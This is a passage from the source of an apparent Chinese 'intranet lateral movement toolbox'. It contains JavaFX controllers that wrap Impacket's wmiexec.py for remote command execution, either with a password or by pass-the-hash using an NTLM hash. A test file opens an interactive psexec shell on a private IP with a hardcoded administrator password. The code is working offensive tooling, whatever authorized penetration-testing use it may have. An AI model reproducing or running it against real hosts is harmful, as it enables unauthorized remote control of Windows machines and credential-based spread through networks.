w_m_pass.getText(); 17 | String cmd = w_m_cmd.getText(); 18 | 19 | try { 20 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/wmiexec.py"; 21 | ArrayList command = new ArrayList<>(); 22 | command.add("python3"); 23 | command.add(pluginPath); 24 | command.add(user + ":" + pass + "@" + ip); 25 | command.add(cmd); 26 | ProcessBuilder processBuilder = new ProcessBuilder(command); 27 | processBuilder.redirectErrorStream(true); 28 | Process process = processBuilder.start(); 29 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 30 | String line; 31 | while ((line = reader.readLine()) != null) { 32 | w_m_area.appendText(line + "\n"); 33 | } 34 | reader.close(); 35 | process.waitFor(); 36 | } catch (Exception e) { 37 | e.printStackTrace(); 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/wmiexec/HashmodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.wmiexec; 2 | 3 | import javafx.scene.control.TextArea; 4 | import javafx.scene.control.TextField; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.InputStreamReader; 8 | import java.util.ArrayList; 9 | 10 | public class HashmodeController { 11 | public HashmodeController(TextArea w_h_area, TextField w_h_cmd, TextField w_h_ip, TextField w_h_hash, TextField w_h_user) { 12 | String ip = w_h_ip.getText(); 13 | String user = w_h_user.getText(); 14 | String hash = w_h_hash.getText(); 15 | String cmd = w_h_cmd.getText(); 16 | try { 17 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/wmiexec.py"; 18 | ArrayList command = new ArrayList<>(); 19 | command.add("python3"); 20 | command.add(pluginPath); 21 | command.add("-hashes"); 22 | command.add("00000000000000000000000000000000:" + hash); 23 | command.add(user + "@" + ip); 24 | command.add(cmd); 25 | ProcessBuilder processBuilder = new ProcessBuilder(command); 26 | processBuilder.redirectErrorStream(true); 27 | Process process = processBuilder.start(); 28 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 29 | String line; 30 | while ((line = reader.readLine()) != null) { 31 | w_h_area.appendText(line + "\n"); 32 | } 33 | reader.close(); 34 | process.waitFor(); 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/sample/Main.java: -------------------------------------------------------------------------------- 1 | package com.ajie.sample; 2 | 3 | import javafx.application.Application; 4 | import javafx.fxml.FXMLLoader; 5 | import javafx.scene.Parent; 6 | import javafx.scene.Scene; 7 | import javafx.scene.control.ChoiceBox; 8 | import javafx.stage.Stage; 9 | 10 | public class Main extends Application { 11 | 12 | 13 | @Override 14 | public void start(Stage primaryStage) throws Exception{ 15 | Parent root = FXMLLoader.load(getClass().getResource("/main_fxml/sample.fxml")); 16 | primaryStage.setTitle("内⽹横向移动⼯具箱 v1.0 by private null"); 17 | primaryStage.setScene(new Scene(root, 738, 431)); 18 | primaryStage.show(); 19 | } 20 | 21 | 22 | public static void main(String[] args) { 23 | launch(args); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/main/resources/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.ajie.sample.Main 3 | 4 | -------------------------------------------------------------------------------- /src/test/java/CommandLineInteractive.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.IOException; 3 | import java.io.InputStreamReader; 4 | import java.io.OutputStream; 5 | import java.util.ArrayList; 6 | import java.util.Scanner; 7 | import java.util.regex.Matcher; 8 | import java.util.regex.Pattern; 9 | 10 | public class CommandLineInteractive { 11 | 12 | public CommandLineInteractive() { 13 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/psexec.py"; 14 | ArrayList cmd = new ArrayList<>(); 15 | cmd.add("python3"); 16 | cmd.add(pluginPath); 17 | cmd.add("administrator:1qaz@WSX@172.16.183.172"); 18 | 19 | try { 20 | Process process = new ProcessBuilder(cmd) 21 | .redirectErrorStream(true) 22 | .start(); 23 | 24 | // 获取进程的输入流和输出流 25 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 26 | OutputStream outputStream = process.getOutputStream(); 27 | 28 | // 创建一个新的线程来读取进程的输出并打印到控制台 29 | Thread outputThread = new Thread(() -> { 30 | String line; 31 | try { 32 | while ((line = reader.readLine()) != null) { 33 | if (!line.startsWith(">")) { 34 | // 使用正则表达式匹配并替换 "C:\\Windows\\system32>" 35 | String replacedLine = replacePrompt(line); 36 | System.out.println(replacedLine); 37 | } 38 | } 39 | } catch (IOException e) { 40 | e.printStackTrace(); 41 | } 42 | }); 43 | outputThread.start(); 44 | 45 | // 创建一个Scanner对象用于读取用户输入的命令 46 | Scanner scanner = new Scanner(System.in); 47 | 48 | // 通过输出流向进程发送命令 49 | String command; 50 | while (true) { 51 | command = scanner.nextLine(); 52 | if (command.equals("exit")) { 53 | break; 54 | } 55 | command += System.lineSeparator(); 56 | outputStream.write(command.getBytes()); 57 | outputStream.flush(); 58 | System.out.print("C:\\Windows\\system32> " + command); // 显示命令提示符 59 | } 60 | 61 | // 等待命令行操作完成 62 | int exitCode = process.waitFor(); 63 | System.out.println("Exit code: " + exitCode); 64 | 65 | // 关闭输入输出流 66 | outputStream.close(); 67 | reader.close(); 68 | 69 | } catch (IOException e) { 70 | e.printStackTrace(); 71 | } catch (InterruptedException e) { 72 | e.printStackTrace(); 73 | } 74 | } 75 | 76 | private static String replacePrompt(String line) { 77 | String pattern = "^C:\\\\Windows\\\\system32>"; 78 | Pattern regex = Pattern.compile(pattern); 79 | Matcher matcher = regex.matcher(line); 80 | return matcher.replaceFirst(""); 81 | } 82 | } 83 | 84 | 85 | -------------------------------------------------------------------------------- /src/test/java/SmbTest.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/test/java/SmbTest.java --------------------------------------------------------------------------------